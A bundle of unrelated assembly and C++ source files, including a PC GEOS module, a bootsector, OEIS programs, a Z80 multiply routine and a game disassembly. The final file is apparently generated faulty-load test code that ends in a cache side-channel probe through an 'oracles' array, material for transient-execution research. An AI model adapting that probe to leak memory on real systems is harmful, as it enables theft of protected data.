MOV R3, #0h
MOV R4, #0h
MOV R5, #0h
MOV R6, #0h
MOV 70h, #0h
ACALL clearDisplay
CLR A
MOV R0, #127
ACALL CLEAR_RAM
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: ResEdit /Main
FILE: mainList.asm
AUTHOR: Cassie Hartzong, Feb 16, 1993
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 2/16/93 Initial revision
DESCRIPTION:
code to implement the mnemonic list
$Id: mainList.asm,v 1.1 97/04/04 17:13:28 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
idata segment
ResEditValueClass
ResEditMnemonicTextClass
idata ends
MainListCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ResEditValueIncrement
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Go to the next mnemonic
CALLED BY: GLOBAL (MSG_GEN_VALUE_INCREMENT)
PASS: *DS:SI = ResEditValueClass object
DS:DI = ResEditValueClassInstance
RETURN: Nothing
DESTROYED: AX, BX, DX, DI, SI
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 10/19/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResEditValueIncrement method dynamic ResEditValueClass,
MSG_GEN_VALUE_INCREMENT
mov dx, MC_FORWARD
GOTO ResEditValueChange
ResEditValueIncrement endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ResEditValueDecrement
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Go to the previous mnemonic
CALLED BY: GLOBAL (MSG_GEN_VALUE_DECREMENT)
PASS: *DS:SI = ResEditValueClass object
DS:DI = ResEditValueClassInstance
RETURN: Nothing
DESTROYED: AX, BX, DX, DI, SI
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 10/19/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResEditValueDecrement method dynamic ResEditValueClass,
MSG_GEN_VALUE_DECREMENT
mov dx, MC_BACKWARD
FALL_THRU ResEditValueChange
ResEditValueDecrement endm
ResEditValueChange proc far
push si
GetResourceSegmentNS ResEditDocumentClass, es
mov bx, es
mov si, offset ResEditDocumentClass
mov di, mask MF_RECORD
mov ax, MSG_RESEDIT_DOCUMENT_CHANGE_MNEMONIC
call ObjMessage
mov cx, di
pop si
mov bx, ds:[LMBH_handle]
mov dx, TO_OBJ_BLOCK_OUTPUT
mov ax, MSG_META_SEND_CLASSED_EVENT
clr di
GOTO ObjMessage
ResEditValueChange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ResEditValueGetValueText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the text for this object, which is always NULL
CALLED BY: GLOBAL (MSG_GEN_VALUE_GET_VALUE_TEXT)
PASS: *DS:SI = ResEditValueClass object
DS:DI = ResEditValueClassInstance
CX:DX = Buffer to fill
BP = GenValueType
RETURN: CX:DX = Filled buffer
DESTROYED: AX, DI, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 2/18/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResEditValueGetValueText method dynamic ResEditValueClass,
MSG_GEN_VALUE_GET_VALUE_TEXT
.enter
; Return the shortest string possible, which I
; will assume is a space followed by a NULL.
; Returning a NULL string is useless for size determination
;
mov es, cx
mov di, dx
if DBCS_PCGEOS
mov ax, C_SPACE ; space followed by NULL
stosw
clr ax
stosw
else
mov ax, ' ' ; space followed by NULL
stosw
endif
.leave
ret
ResEditValueGetValueText endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MnemonicTextKbdChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercept keyboard chars to do some special things.
CALLED BY: MSG_META_KBD_CHAR
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of ResEditMnemonicTextClass
ax - the message
cl - character (Chars or VChar)
ch - CharacterSet (CS_BSW or CS_CONTROL)
dl = CharFlags
dh = ShiftState
bp low = ToggleState
bp high = scan code
RETURN: nothing
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
If Del or Backspace, delete all text, change mnemonic to NIL.
If whitespace (except blank), ignore.
Otherwise, process as normal.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/13/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MnemonicTextKbdChar method dynamic ResEditMnemonicTextClass,
MSG_META_KBD_CHAR
test dl, mask CF_FIRST_PRESS
jz passOn
if not DBCS_PCGEOS
cmp ch, CS_CONTROL
jne passOn
endif
SBCS< cmp cl, VC_BACKSPACE >
DBCS< cmp cx, C_SYS_BACKSPACE >
je deleteAll
SBCS< cmp cl, VC_DEL >
DBCS< cmp cx, C_DELETE >
je deleteAll
SBCS< cmp cl, VC_TAB >
DBCS< cmp cx, C_SYS_TAB >
je done
SBCS< cmp cl, VC_ENTER >
DBCS< cmp cx, C_SYS_ENTER >
je done
SBCS< cmp cl, VC_LF >
DBCS< cmp cx, C_LF >
je done
passOn:
mov di, offset ResEditMnemonicTextClass
call ObjCallSuperNoLock
done:
ret
deleteAll:
push si
GetResourceSegmentNS ResEditDocumentClass, es
mov bx, es
mov si, offset ResEditDocumentClass
mov di, mask MF_RECORD
mov ax, MSG_RESEDIT_DOCUMENT_DELETE_MNEMONIC
call ObjMessage
mov cx, di
pop si
mov bx, ds:[LMBH_handle]
mov dx, TO_OBJ_BLOCK_OUTPUT
mov ax, MSG_META_SEND_CLASSED_EVENT
clr di
GOTO ObjMessage
MnemonicTextKbdChar endm
MainListCode ends
|
;Simple example of removing a directory with the rmdir API call. API calls found in this example program:
; rmdir, exit
; High level description of what theis example program does:
; Attempts ot remove the directory 'newdir' if it exists, using the rmdir API
; exits gracefully with exit().
section .text
global _start
_start:
; Attempts ot remove the directory 'newdir' if it exists, using the rmdir API
;------------------------------------------------------------------------------
mov eax, 40 ;rmdir
mov ebx, newdir ;pointer to the directory name
int 0x80
; Exit program
;------------------------------------------------------------------------------
mov eax, 1
int 0x80
section .data
newdir db 'newdir', 0x00
; ------------------------------
; | Some bitfield explanations |
; ------------------------------
; Mode Octal codes
;------------------------------------------------------------------------------
; Read 4
; Write 2
; Execute 1 |
/*
* Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <tencentcloud/mdc/v20200828/model/DeleteStreamLinkFlowResponse.h>
#include <tencentcloud/core/utils/rapidjson/document.h>
#include <tencentcloud/core/utils/rapidjson/writer.h>
#include <tencentcloud/core/utils/rapidjson/stringbuffer.h>
using TencentCloud::CoreInternalOutcome;
using namespace TencentCloud::Mdc::V20200828::Model;
using namespace std;
DeleteStreamLinkFlowResponse::DeleteStreamLinkFlowResponse()
{
}
CoreInternalOutcome DeleteStreamLinkFlowResponse::Deserialize(const string &payload)
{
rapidjson::Document d;
d.Parse(payload.c_str());
if (d.HasParseError() || !d.IsObject())
{
return CoreInternalOutcome(Core::Error("response not json format"));
}
if (!d.HasMember("Response") || !d["Response"].IsObject())
{
return CoreInternalOutcome(Core::Error("response `Response` is null or not object"));
}
rapidjson::Value &rsp = d["Response"];
if (!rsp.HasMember("RequestId") || !rsp["RequestId"].IsString())
{
return CoreInternalOutcome(Core::Error("response `Response.RequestId` is null or not string"));
}
string requestId(rsp["RequestId"].GetString());
SetRequestId(requestId);
if (rsp.HasMember("Error"))
{
if (!rsp["Error"].IsObject() ||
!rsp["Error"].HasMember("Code") || !rsp["Error"]["Code"].IsString() ||
!rsp["Error"].HasMember("Message") || !rsp["Error"]["Message"].IsString())
{
return CoreInternalOutcome(Core::Error("response `Response.Error` format error").SetRequestId(requestId));
}
string errorCode(rsp["Error"]["Code"].GetString());
string errorMsg(rsp["Error"]["Message"].GetString());
return CoreInternalOutcome(Core::Error(errorCode, errorMsg).SetRequestId(requestId));
}
return CoreInternalOutcome(true);
}
string DeleteStreamLinkFlowResponse::ToJsonString() const
{
rapidjson::Document value;
value.SetObject();
rapidjson::Document::AllocatorType& allocator = value.GetAllocator();
rapidjson::Value iKey(rapidjson::kStringType);
string key = "RequestId";
iKey.SetString(key.c_str(), allocator);
value.AddMember(iKey, rapidjson::Value().SetString(GetRequestId().c_str(), allocator), allocator);
rapidjson::StringBuffer buffer;
rapidjson::Writer<rapidjson::StringBuffer> writer(buffer);
value.Accept(writer);
return buffer.GetString();
}
|
;
; $Id: 0x1a.asm,v 1.1.1.1 2016/03/27 08:40:12 raptor Exp $
;
; 0x1a explanation - from xchg rax,rax by xorpd@xorpd.net
; Copyright (c) 2016 Marco Ivaldi <raptor@0xdeadbeef.info>
;
; This is another variation on the theme of the x86_64 call
; stack. This snippet manages to load into rax the address
; of the main.next procedure, by exploiting how the call
; instruction works. In detail, this is what happens:
;
; 1. The main function calls main.next. In the process,
; the address of the next instruction (which in this
; specific case happens to also be the address of
; main.next) is pushed onto the stack as part of the
; activation record of the main.next function.
; 2. The main.next function uses the pop instruction
; to load the value from the top of the stack (which
; is the return address, which in this specific case
; is the address of main.next itself) into rax.
;
; Example:
; $ gdb 0x1a
; (gdb) b main
; Breakpoint 1 at 0x4005f0
; (gdb) b main.next
; Breakpoint 2 at 0x4005f5
; (gdb) b*0x00000000004005f6
; Breakpoint 3 at 0x4005f6
; (gdb) r
; Breakpoint 1, 0x00000000004005f0 in main ()
; (gdb) i r rax rsp
; rax 0x4005f0 4195824
; rsp 0x7fffffffe1c8 0x7fffffffe1c8
; (gdb) x/8x 0x7fffffffe1c8
; 0x7fffffffe1c8: 0xf7a30d05 0x00007fff 0x00000000 0x00000000
; 0x7fffffffe1d8: 0xffffe2a8 0x00007fff 0x00000000 0x00000001
; (gdb) c
; Breakpoint 2, 0x00000000004005f5 in main.next ()
; (gdb) i r rax rsp
; rax 0x4005f0 4195824
; rsp 0x7fffffffe1c0 0x7fffffffe1c0
; (gdb) x/8x 0x7fffffffe1c0
; 0x7fffffffe1c0: 0x004005f5 0x00000000 0xf7a30d05 0x00007fff
; 0x7fffffffe1d0: 0x00000000 0x00000000 0xffffe2a8 0x00007fff
; (gdb) disas 0x4005f5
; Dump of assembler code for function main.next:
; 0x00000000004005f5 <+0>: pop %rax
; => 0x00000000004005f6 <+1>: nopw %cs:0x0(%rax,%rax,1)
; End of assembler dump.
; (gdb) c
; Breakpoint 3, 0x00000000004005f6 in main.next ()
; (gdb) i r rax rsp
; rax 0x4005f5 4195829
; rsp 0x7fffffffe1c8 0x7fffffffe1c8
; (gdb) x/8x 0x7fffffffe1c8
; 0x7fffffffe1c8: 0xf7a30d05 0x00007fff 0x00000000 0x00000000
; 0x7fffffffe1d8: 0xffffe2a8 0x00007fff 0x00000000 0x00000001
;
BITS 64
SECTION .text
global main
main:
call .next ; save procedure linking information on the
; stack and branch to the main.next procedure
.next:
pop rax ; load the return address from the top of the
; stack into rax and increment rsp accordingly
|
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_OF
;TEST_FILE_META_END
; ROL32rCL
mov ebx, 0x4141
mov cl, 0x2
;TEST_BEGIN_RECORDING
rol ebx, cl
;TEST_END_RECORDING
|
map_header PokemonTower1F, POKEMON_TOWER_1F, CEMETERY, 0
end_map_header
|
%define CR0_PE (1 << 0)
%define CR0_MP (1 << 1)
%define CR0_EM (1 << 2)
%define CR0_TS (1 << 3)
%define CR0_WP (1 << 16)
%define CR0_PG (1 << 31)
%define PTE_PRESENT (1 << 0)
%define PTE_WRITE (1 << 1)
%define OUTTER_PGTBL 0x1000
%define INNER_PGTBL 0x2000
org 0x7c00
[bits 16]
; First, BIOS loads the bootsector into 0000:7C00.
cli
xor ax, ax
mov ds, ax
mov ss, ax
mov sp, 0
; Enable A20
wait_8042_1:
in al, 0x64
test al, 0x2
jnz wait_8042_1
mov al, 0xd1
out 0x64, al
wait_8042_2:
in al, 0x64
test al, 0x2
jnz wait_8042_2
mov al, 0xdf
out 0x60, al
; Switch to protect mode
lgdt [gdt_desc]
mov eax, cr0
or eax, CR0_PE
mov cr0, eax
jmp 0x08:start32
[bits 32]
start32:
; In protect mode
cli
mov ax, 0x10
mov ds, ax
mov es, ax
mov ss, ax
mov esp, 0x10000
; Initialize inner page table
mov eax, PTE_WRITE|PTE_PRESENT
mov edi, INNER_PGTBL
mov ecx, 1024
cld
init_pte:
stosd
add eax, 4096
loop init_pte
; Initialize outter page table
xor eax, eax
mov edi, OUTTER_PGTBL
mov ecx, 1024
cld
rep
stosd
mov dword [OUTTER_PGTBL+0*4], INNER_PGTBL|PTE_WRITE|PTE_PRESENT
; Load CR3
mov eax, OUTTER_PGTBL
mov cr3, eax
; Enable paging and write-protect
mov eax, cr0
and eax, ~(CR0_EM|CR0_TS)
or eax, CR0_PG|CR0_WP|CR0_MP
mov cr0, eax
mov al, 'Z'
mov ah, 0x0c
mov [0xB8000], ax
jmp $
align 8
gdt: dw 0,0,0,0 ; dummy
dw 0xFFFF ; limit=4GB
dw 0x0000 ; base address=0
dw 0x9A00 ; code read/exec
dw 0x00CF ; granularity=4096,386
dw 0xFFFF ; limit=4GB
dw 0x0000 ; base address=0
dw 0x9200 ; data read/write
dw 0x00CF ; granularity=4096,386
align 8
gdt_desc:
dw 23 ; gdt limit=sizeof(gdt) - 1
dw gdt
times 510-($-$$) db 0
dw 0xAA55
|
; A151907: Partial sums of A151906.
; 0,1,5,9,13,25,29,33,45,57,69,105,109,113,125,137,149,185,197,209,245,281,317,425,429,433,445,457,469,505,517,529,565,601,637,745,757,769,805,841,877,985,1021,1057,1165,1273,1381,1705,1709,1713,1725,1737,1749,1785,1797
mov $5,$0
mov $7,$0
lpb $7
clr $0,5
mov $0,$5
sub $7,1
sub $0,$7
mul $0,2
lpb $0
div $0,3
mov $1,$0
cal $1,147582 ; First differences of A147562.
mov $0,0
add $2,$1
add $3,$2
lpe
add $6,$3
lpe
mov $1,$6
|
mov ecx,dword ptr ds:[1072A88]
lea eax,dword ptr ss:[ebp-18]
push eax
call aok hd.AE26F0
mov dword ptr ss:[ebp-4],5
mov eax,dword ptr ds:[eax]
mov dword ptr ss:[ebp-14],10
cmp dword ptr ds:[eax+380],0
jne aok hd.C2555B
mov eax,dword ptr ds:[ebx+64]
mov byte ptr ss:[ebp-D],1
cmp dword ptr ds:[eax+A20],1
jne aok hd.C2555F
mov byte ptr ss:[ebp-D],0
mov dword ptr ss:[ebp-4],FFFFFFFF
mov eax,10
mov dword ptr ss:[ebp-14],eax
and eax,FFFFFFEF
mov dword ptr ss:[ebp-14],eax
mov ecx,dword ptr ss:[ebp-18]
test ecx,ecx
je aok hd.C25585
add dword ptr ds:[ecx+4],FFFFFFFF
jne aok hd.C25585
mov eax,dword ptr ds:[ecx]
call dword ptr ds:[eax]
cmp byte ptr ss:[ebp-D],0
je aok hd.C25969
mov esi,dword ptr ds:[1072A88]
mov ecx,ebx
call aok hd.CCDB40
test al,al
mov ecx,esi
sete al
movzx eax,al
push eax
call aok hd.AE3920
mov ecx,ebx
call aok hd.CCDB40
mov ecx,dword ptr ds:[ebx+84]
push 400
mov ecx,dword ptr ds:[ecx+5AEC]
test al,al
jne aok hd.C255E1
call aok hd.E20DC0
mov ecx,dword ptr ss:[ebp-C]
mov dword ptr fs:[0],ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret 8
|
extern exit
extern printf
SECTION .data
number: dq 78.21
str: db '%f', 10, 0
SECTION .bss
result: resq 1 ; Reserve 1 quad word for result
SECTION .text
GLOBAL _start
_start:
; Calculate square root.
fld qword [number] ; Load value into s0.
fsqrt ; Compute square root of st0 and store in st0.
fst qword [result] ; Store st0 in result.
; Print
movq xmm0, qword [result]
mov rdi, str ; Output string.
mov rax, 1
call printf
; Exit application.
mov rdi, 0
call exit
|
;
; feilipu, 2019 April
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
;------------------------------------------------------------------------------
IF __CPU_Z80__
SECTION code_clib
SECTION code_fp_math32
EXTERN m32_z80_mulu_de
PUBLIC m32_mulu_32h_32x32
;------------------------------------------------------------------------------
;
; multiplication of two 32-bit numbers into the high bytes of 64-bit product
;
; NOTE THIS IS NOT A TRUE MULTIPLY.
; Carry in from low bytes is not calculated.
; Rounding is done at 2^16.
;
; enter : dehl = 32-bit multiplier = x
; dehl' = 32-bit multiplicand = y
;
; exit : dehl = 32-bit product
; carry reset
;
; uses : af, bc, de, hl, af', bc', de', hl'
.m32_mulu_32h_32x32
ld c,l
ld b,h
push de
exx
pop bc
push hl
exx
pop de
; multiplication of two 32-bit numbers into a 32-bit product
;
; enter : de'de = 32-bit multiplier = x
; bc'bc = 32-bit multiplicand = y
;
; exit : dehl = 32-bit product
; carry reset
;
; uses : af, bc, de, hl, af', bc', de', hl'
; save material for the byte p7 p6 = x3*y3 + p5 carry
exx ;'
ld h,d
ld l,b
push hl ;'x3 y3
; save material for the byte p5 = x3*y2 + x2*y3 + p4 carry
ld l,c
push hl ;'x3 y2
ld h,b
ld l,e
push hl ;'y3 x2
; save material for the byte p4 = x3*y1 + x2*y2 + x1*y3 + p3 carry
ld h,e
ld l,c
push hl ;'x2 y2
ld h,d
ld l,b
push hl ;'x3 y3
exx ;
ld l,b
ld h,d
push hl ; x1 y1
; save material for the byte p3 = x3*y0 + x2*y1 + x1*y2 + x0*y3
push bc ; y1 y0
exx ;'
push de ;'x3 x2
push bc ;'y3 y2
exx ;
; push de ; x1 x0
; start doing the p3 byte
pop hl ; y3 y2
ld a,h
ld h,d
ld d,a
call m32_z80_mulu_de ; y3*x0
ex de,hl
call m32_z80_mulu_de ; x1*y2
xor a ; zero A
add hl,de ; p4 p3
adc a,a ; p5
ld b,h
ld c,l
ex af,af
pop hl ; x3 x2
pop de ; y1 y0
ld a,h
ld h,d
ld d,a
call m32_z80_mulu_de ; x3*y0
ex de,hl
call m32_z80_mulu_de ; y1*x2
ex af,af
add hl,de ; p4 p3
adc a,0 ; p5
add hl,bc ; p4 p3
adc a,0 ; p5
ex af,af
ld a,l ; preserve p3 byte for rounding
ex af,af
ld c,h ; prepare BC for next cycle
ld b,a ; promote BC p5 p4
; start doing the p4 byte
pop hl ; x1 y1
pop de ; x3 y3
ld a,h
ld h,d
ld d,a
call m32_z80_mulu_de ; x1*y3
ex de,hl
call m32_z80_mulu_de ; x3*y1
xor a ; zero A
add hl,de ; p5 p4
adc a,a ; p6
add hl,bc ; p5 p4
adc a,0 ; p6
pop de ; x2 y2
call m32_z80_mulu_de ; x2*y2
add hl,de ; p5 p4
adc a,0 ; p6
ld c,l ; final p4 byte in C
ld l,h ; prepare HL for next cycle
ld h,a ; promote HL p6 p5
ex af,af
or a
jr Z,mul0 ; use p3 to round p4
set 0,c
.mul0
; start doing the p5 byte
pop de ; y3 x2
call m32_z80_mulu_de ; y3*x2
xor a ; zero A
add hl,de ; p6 p5
adc a,a ; p7
pop de ; x3 y2
call m32_z80_mulu_de ; x3*y2
add hl,de ; p6 p5
adc a,0 ; p7
ld b,l ; final p5 byte in B
ld l,h ; prepare HL for next cycle
ld h,a ; promote HL p7 p6
; start doing the p6 p7 bytes
pop de ; y3 x3
call m32_z80_mulu_de ; y3*x3
add hl,de ; p7 p6
ex de,hl ; p7 p6
ld h,b ; p5
ld l,c ; p4
ret ; exit : DEHL = 32-bit product
ENDIF
|
; A100052: A Chebyshev transform of the odd numbers.
; 1,3,3,-2,-9,-9,2,15,15,-2,-21,-21,2,27,27,-2,-33,-33,2,39,39,-2,-45,-45,2,51,51,-2,-57,-57,2,63,63,-2,-69,-69,2,75,75,-2,-81,-81,2,87,87,-2,-93,-93,2,99,99,-2,-105,-105,2,111,111,-2,-117,-117
mov $1,$0
sub $1,1
mov $2,$0
mov $3,1
lpb $2,1
add $3,$2
add $3,$1
mov $0,$3
sub $1,$3
sub $2,1
lpe
mov $1,$0
add $1,1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x6a5f, %rax
nop
nop
nop
nop
nop
dec %rcx
mov (%rax), %r10d
nop
cmp $45806, %r12
lea addresses_D_ht+0x9a5, %rbx
nop
nop
nop
nop
nop
xor %r12, %r12
movw $0x6162, (%rbx)
nop
inc %r12
lea addresses_WT_ht+0x1e7a5, %r13
nop
nop
xor %rbp, %rbp
mov $0x6162636465666768, %rbx
movq %rbx, (%r13)
nop
nop
nop
nop
nop
xor %r13, %r13
lea addresses_WT_ht+0x12929, %rsi
lea addresses_UC_ht+0x1190d, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
inc %rbp
mov $42, %rcx
rep movsw
nop
nop
nop
add $6961, %rax
lea addresses_normal_ht+0x1a305, %r13
sub %rax, %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%r13)
nop
nop
nop
nop
sub $4384, %rcx
lea addresses_UC_ht+0x41a5, %rsi
lea addresses_A_ht+0xd065, %rdi
nop
nop
sub %rax, %rax
mov $74, %rcx
rep movsl
nop
and $45056, %rsi
lea addresses_A_ht+0xb2d5, %r10
nop
nop
nop
sub %rdi, %rdi
mov (%r10), %rsi
xor %r13, %r13
lea addresses_UC_ht+0xaa25, %r13
nop
nop
nop
nop
nop
sub %rcx, %rcx
movb $0x61, (%r13)
nop
nop
lfence
lea addresses_WC_ht+0x1efa5, %r13
nop
nop
nop
nop
sub $32099, %r10
mov $0x6162636465666768, %r12
movq %r12, (%r13)
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_D_ht+0xce25, %r12
clflush (%r12)
inc %r10
mov (%r12), %eax
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_normal_ht+0x1a65, %rsi
lea addresses_A_ht+0x3f47, %rdi
nop
nop
nop
nop
xor %r12, %r12
mov $123, %rcx
rep movsb
sub $12290, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_RW+0x1c9a5, %rsi
lea addresses_A+0x1e8a5, %rdi
nop
nop
sub $37361, %r10
mov $85, %rcx
rep movsl
xor $62532, %rsi
// Load
lea addresses_WC+0x6565, %r15
sub %r12, %r12
mov (%r15), %r9
nop
nop
nop
nop
nop
add %r15, %r15
// Store
lea addresses_WC+0x1a1a5, %rdi
nop
nop
nop
mfence
mov $0x5152535455565758, %r10
movq %r10, (%rdi)
sub %r9, %r9
// Store
lea addresses_WT+0x101a5, %rdi
nop
nop
nop
xor $41388, %r9
movb $0x51, (%rdi)
nop
nop
nop
nop
xor $47457, %rsi
// Store
lea addresses_RW+0x1c9a5, %rcx
nop
nop
add %rdi, %rdi
movw $0x5152, (%rcx)
nop
nop
dec %rdi
// Store
mov $0xbc5, %r10
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r12
movq %r12, %xmm5
movntdq %xmm5, (%r10)
inc %rsi
// Load
lea addresses_WT+0x13deb, %rcx
cmp %rsi, %rsi
mov (%rcx), %r10d
nop
nop
nop
nop
sub %r15, %r15
// Faulty Load
lea addresses_RW+0x1c9a5, %r9
nop
nop
nop
nop
nop
and %r15, %r15
mov (%r9), %di
lea oracles, %rsi
and $0xff, %rdi
shlq $12, %rdi
mov (%rsi,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_RW', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_A', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': True}, 'OP': 'REPM'}
{'52': 21829}
